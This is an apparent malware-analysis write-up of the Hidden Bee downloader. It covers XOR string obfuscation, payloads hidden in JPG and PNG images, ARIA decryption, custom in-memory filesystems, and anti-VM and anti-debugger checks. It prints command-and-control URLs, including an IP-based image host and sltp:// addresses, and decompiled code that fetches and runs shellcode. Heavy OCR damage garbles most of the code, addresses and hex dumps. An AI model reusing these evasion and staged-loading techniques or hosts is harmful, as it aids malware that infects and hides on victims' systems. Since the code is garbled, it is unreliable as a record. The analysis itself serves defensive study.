0000B850 BF 04 00 00 CE 04 00 00 EE 04 00 00 FA 04
0000BB6O 01 O 00 BO 05 00 00 BT 05
0000B87T BE O 00 DF 05 00 00 EA 05
00o00BE8 F2 05 00 00 51 06 00 00 &3 06 00 00 74 06

Module Size = 0xBESS

Obfuscation used
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This time, authors decide to obfuscate all the strings used inside the module. Now all the strings are decoded just

before use.
@B3187F5 lea eax, [ebp-2CCh]
BB3187FE push 184h
23188828 push eax ; _DWORD

28318881 push offset unk_317838
eB31le8e6 call decode_memory

@a31eses pop BCX

e@3lesec push eax ; _DWORD

ee3leseD call ds:ExpandEnvircnmentStringsi

The decoding algorithm is simple, based on XOR:

e

=

Pd B2 R R B2

1| BYTE *__cdecl decode_memory( BYTE *input_arr)

2f

3| _BYTE *output_arr; [/ eax

4| unsigned int indx; // esi

5| bool is _finished; // =T

6

7| output_arr = input_arr + @xld;

8| if ( input_arr[7] )

s {

@ indx = @;

1 is finished = *{{_DWORD *}input_arr + 4) == 8;
2 input_arr[7] = 9;

3 if ( !is_finished )

4 {1

= do

; {

7 output_arr[indx] “= input_arr[{indx & 7} + B];
8 ++indug

5 }

8 while { indx < *{{_DWORD *}input_arr + 4) };
L h

2| 3

3| return output_arr;

b

Inside the images downloader

Let’s look inside the first module in the 0x10000401 format that we encountered. This module is an initial stage,

and its role is to download and unpack the other components. One such component is in a CAB format (that’s why

we can see the Cabinet.dll among the imported DLLs).

The role

of this module is similar to the first “WASM” mentioned in our post a year ago. However, the current

version is not only better protected, but also comes with some improvements. This time the downloaded content is

hidden in the images. So, analyzing this element can help us to understand how the used stenography works.

First, we can see that the URLs are retrieved from their Base64 form:
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Mo
push
lea

push
push
push
call
add

[

EaX

eax, [ebp+targ_@]
offset basebd Str ; "SQBodHRwOiBwvMzguNzUUMTM3Ljke0TALDC 9wdWI" . ..

eax
esi

basetd decode
esp, 1léh

[Ehh+arg:8], eax

a4

This string decodes to a list containing URLSs of the PNG and JPG files that are going to be downloaded. For each

sample, this set is unique. None of the URLSs can be reused: the server gives a response only once. An example of

a URL set:

http://38.75.137.9:9088/pubs/wiki.php?id=937a4eaddb6f5a94b3738a58dcc79cal3 http://38.75.137.9:9088/im

So, we can confirm that this module is the one responsible for downloading and processing the observed images.

Indeed, inside we can find the functions responsible for their decoding.

Decoding the JPG

After the payload is retrieved, the JPG header is validated.

1CES
1CBE
1CC1
1CCy
1CCE
1Dl
1CD7
1CoD
1CE1
1CEY
1CEE
1CF1
1CF5S
1CFE
1CFF
1mas
1mas

jz

cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz
cmp
jnz

loc_311F3C

byte ptr [ebx], BFFh
invalid_payload

byte ptr [ebx+1], @D8h
invalid payload

word ptr [ebx+2], @E@FFh
invalid payload

byte ptr [ebx+s], "1
invalid_payload

byte ptr [ebx+7], 'F'
invalid_payload

byte ptr [ebx+8], 'I'
invalid_payload

byte ptr [ebx+3], 'F'
invalid payload

byte ptr [ebx+8sh], @
invalid_payload

Then, the payload is decoded by simply using an XOR with the last byte. The decoded content is expected to start

from the !rcx magic ID.
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—— v Y
Ll e 55
28311069
@B311069 wor_next:
88311069 xor [eax+esi], cl
@8311D06C inc eax
88311060 cmp eax, [ebx+18h]
@e3110ve jb short xor_next
% L |
=
Be311D072
88311072 loc_311072:
@8311072 cmp [esi+4], edi
@8311D075 ja invalid payload
Y
Ll i 5=
@831107E cmp dword ptr [ksi], 'xcr!’
@8311D081 jnz invalid payload

After decoding the content, the hash of the !rcx module is validated with the help of SHA256 hash. The valid hash
is stored in the module’s header and compared with the calculated hash of the file content.

288311087 lea eax, [esi+s]
28311084 push 32
2@831108C push eax

@8311080 lea eax, [ebptvar_4C)]
@8311098 push eax

8311091 mov [ebptarg_e], 48
288311098 lea edi, [esi+28h]

88311098 call j_memcpy
28311048 push 32

288311042 lea eax, [esi+s]
883110A5 push @

283110A7 push eax

@83110A8 call j_memset
@83110AD lea eax, [ebp+var_BC]
88311083 push eax

88311064 call sha256_init
28311089 push [ebp+var_4]
@8@83110BC lea eax, [ebptwvar BC]
883110C2 push esi

2@83110C3 push eax

@83110C4 call sha256_hash

@83110C9 lea eax, [ebp+var_BC]
@883110CF push eax
8311008 lea eax, [esi+d]

28311003 push eax

28311004 call sha25&_finish
288311009 lea eax, [esi+s]
2831100C push 32

@831100DE push eax

@83110DF lea eax, [ebpt+var_4C)]
@883110E2 push eax

@83110E3 call h_memcmp
@@83110DEE add esp, 3Ch
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If the validation passed, the shellcode stored in the !rcx module is loaded. More details about the execution flow

will be given later.

il )=

Ba311ELF
@8311E1F loc 311E1F: 3 _DWORD
@B311E1F push 4ah
BB311E21 push 1ee8h 3 _DWORD
BB311E26 push dword ptr [edit+3] ; _DWORD
@8311E29 push ) ; _DWORD
@8311E28 call ds:WirtualAlloc
B8311E31 test eax, eax
BB311E33 mov [ebpt+shellcode_mem], eax
@B311E36 jz short loc 311E48

— |

L |
FEE
BB311E38 push dword ptr [edi+d]
@B311E3E add edi, 1eéh
@B311E3E push edi
BB311E3F push eax
B8311E48 call j_memcpy
BB311E45 add esp, 8Ch

|

The !rcx package has a simple header:

Cffsec(h) 00 01 02 03 04 05 06 OT 08 0% QR OB OC OD
00000000
00000010
00000020
00000030

31 CO 40 90 OF 8
00000040 OO0 OO E8 04 00 OO0 00 OF 00 &0 OC 58 &0 64
Q00000050 30 OO0 00 00 52 51 50 56 E8 44 00 00 00 61
00000060 54 24 04 BE 44 24 OC 56 8B 74 24 0OC 57 8
00000070 OF BT 02 42 42 23 F8 41 7C 08 83 F& 54 TF
00000080 CO 20 OF BT OE 46 46 83 F9 41 T7C 08 83 F3
00000090 03 83 C1 20 3B DT 73 04 3B C1 74 D4 5F 2B
000000RA0 C3 52 8B EC 83 EC 4C BB 45 08 53 5o 57 &b
000000BO 6A &C 58 33 C9 66 89 45 BE 66 895 45 C8 66
000000C0 CA &6 89 45 EE &6 89 45 FO &6 895 45 F6& &6

Decoding the PNG

Retrieving the content from the PNG is more complex.

T
R

Frin;

o
= ]

" 5 Ak )
S
Lt kg D Lo e

First, after downloading, the PNG header is checked:
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Code
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8@83116CE loc 3116CE:

883116CE lea eax, [ebptvar &]
88311601 push 8

88311603 push eax

88311604 push edi

@83116D5 xor esi, esi
88311607 mov [ebp+var_8], 89h
@8831160E mov [ebp+var_7], 'P'
@8831160F mov [ebp+var_&], 'N'
883116E3 mov [ebp+var_ 5], 'G'
883116E7 mov [ebp+var_4], @Dh
8B83116EE mov [ebp+var_3], @sh
BB83116EF mov [ebp+var_2], 1ah
BB3116F3 mov [ebp+var_1], @ah
@B3116F7 call j_memcmp
883116FC add esp, BCh

The function decoding the PNG has the following flow:

33| decoded buf = @;

34| png_hdr = @x89u;

35| w1z = 'P';

36| v N

37 G

38 '

39 "\n';

40 = 26;

41| vis = 1e;

42| if ( !'j_memcmp(payload, &png_hdr, B) )

43 decoded_buf = (_BYTE *)decode_from png(payload, functions_list, &size);
44| result = free(payload);

45| if ( decoded buf )

46| {

47 if ( !(size & 3) )

48

49 buf_ptr = deceded_buf;

5@ aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53 {

54 do

55 I

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 16;

58 buf_ptr += 16;

59

68 while ( index ¢ size };

&1 }

62 if { *decoded_buf == "M" && decoded_buf[1] == 'S’ && decoded_buf[2] == 'C' && decocded_buf[3] == 'F' }
&3 {

64 if ( unpack_cab(&v1@, (int)decoded buf, size) )

65

66 module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
67 load from_package{index, (int)decoded_buf, (int)}&v1e, module_name, @);
68 free_module(&via);

69 }

78 }

71

72 result = free(decoded_buf);

73| }

74| return result;

75}

It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB
format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :
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During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.

@83185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

883185C7 mov [eax], ecx

883185C9 mov eax, ds:aria_key ptr
883185CE push dword ptr [eax]
@a318508 add eax, 4

88318503 push ebx
88318504 push eax
@p318s505 call j_memcpy
@p3185DA add esp, @Ch

e

88318500 loc_31@5D0:

@e31850D cmp ds:aria_key ptr, @
8B83185E4 jnz short continue_to download
|1
Ll s
Ba3185Ee @a31a85EE
8@83185E6 loc_31@5E6: 3 _DWORD| @@31@5EE kcntinue_tc_dcwnlcad: 3 _DWORD
B8@83185E6 push ] BB3185EE push 7
283185E8 call ds:ExitProcess ea3lesFe call ds:SetErrortode
883185F6 mov eax, [ebp+param]
883185F9 push dword ptr [eax+@Ch]
883185FC call download_and_deccde_images
B0318681 jmp loc_318AF1

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

\Z > @ Location: |i /bin/i386/

Name v | Size Type Modified
iz core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1a2fdc79c154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.
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Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DD9863DFE91}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:

sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
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INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.

2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:

&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation
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36 j_memset{(int}vl, @, SystemInformationLength};
37 if ( INtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38

39 while ( !blacklisted _processes[@] )

4a

41|check_next:

42 if ( !*(_DWORD *}v2 )

43 goto finished;

a4 v2 += *(_DWORD *)v2;

45 1

46 next_proc_name = blacklisted_processes;

47 _next_proc_name = blacklisted_processes;

43 while ( 1 )

49

5@ RtlInitUnicodestring(&ve, *next_proc_name);
51 if ( (_WORD)vE == *(({_WORD *)v2 + 28) )
52

53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;

55 1

56 next_proc_name = _next proc_name + 1;

57 _next_proc_name = next_proc_namej

58 if ( !*next_proc_name )}

59 goto check_next;

60 1

61 blacklisted found = 1;

62

63 [Finished:

64 LocalFree(v7);

65

66 return blacklisted found;

67}

The blacklist contains popular debuggers and sniffers:

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

» <«

“ImmunityDebugger.exe”, “windbg.exe”

» o«

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.
Another function deploys a set of anti-VM checks. The anti-VM checks include:

46| ms_exc.registration.Trylevel = @;
47| CPUID check(&/27, Bx40000000);
48| *(_DWORD *)v33 = v28;
49| *(_DWORD *)&33[4] = v2
58| *(_DWORD *)&33[8] = v3
51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @;

53| if ( VPCEXT_check() )

54 goto set_wm_flag;

55| if ( VMWare io check() )

56 goto set _wm_flag;

PG -

L

-
A=
e

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a -

B824335CB push hBBBBBBBh

82433500 lea eax, [ebpt+var_544]
@2433506 push eax

82433507 call CPUID check
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82433414 pusha

8243341 mov eax, [ebptarg_ 4]
A243341E wor ehw, ehx
B2433428 xor BCH, BCX
A2433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebptarg_g]

The VMWAre 1/0 Port (more details [here]):

A243353A mov eax, VMKh'

@243353F mov ebx, 8

82433544 mov ecx, Bah

82433549 mov edx, "WVX'

B243354E in eax, dx ; check for Wware
B243354F cmp eba, "VMIh'

@2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

B824334B3 push ebx
@2433464 mov ehx, @
82433489 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ehx, ebx
82433404 setz [ebptvar_1C]

Checking the list of common VM vendors:
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57| v = decode_memory(&str_XenVMMXenViMM); JI " XenVMMenviiM™
58| if ( !strncmp(v33, ve, 12} )

59 goto set_wm_flag;

68| vl = decode_memory(&str_VMWareViMware); J "VMwareVMware”
51| if { !strncmp(v3z, v1, 12} )

62 goto set vm_flag;

63 w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"
64| if { !strncmp(v33, w2, 12} )

65 goto set_wvm_flag;

66| w3 = decode_memory{&str KVMIKVMKVM) ; JI T IEMEVMICVM™

67| if { !strncmp(v33, v3, 12} )

68 goto set_wm_flag;

59| w4 = decode_memory(&unk_2435F78); " lrpepyh  wr™
7a if ( !'strncmp(v33, w4, 12} )

71 goto set_vm_flag;

72| w5 = decode_memory(funk_ 2435F58); // "sbiedll.dll™

73| if ( GetModuleHandleA(vS) )

74 goto set_wm_flag;

75| if { !GetComputerNameW(Buffer, &nSize) )

76 goto set_wm_flag;

77| we = (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"
78| if ( !lstrcmpiW(Buffer, wg) )}

79 goto set_vm_flag;

28| nSize = 1824;

81| if ( !'GetUserNameW(Buffer, &nSize) )

82 goto set_wm_flag;

83| w7 = (const WCHAR *)decode_memory(&unk_2435F88);// L"CurrentUser”
84| if ( !'1strcmpiW{Buffer, w7} )

85 goto set_wm_flag;

86| wi = (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX™
87| if ( !lstrcmpiW({Buffer, w8) )

88 goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

39| w9 = decode_memory (&unk_2435EE8); /7 "StrstrIA”
96| w10 = decode_memory(&unk_2435EC8); /7 "shlwapi.dll”
91| shlwapi_dll = LoadLibraryA(v1@);

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

9a| {

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 8& ((idl = decode_memory(&unk_2435DB4), ((int (_ thiscall *)(int, WCHAR *, _BYTE *))Strstria)(vzl, Buffer, id1})// "55274-648-2673064-23950"

115 || (id2 = decode_memory(&unk_2435088), ((int (_ thiscall *){int, WCHAR *, | *))StrstrIa)(v23, Buffer, id2))// "76487-644-3177837-23518"
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127}

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
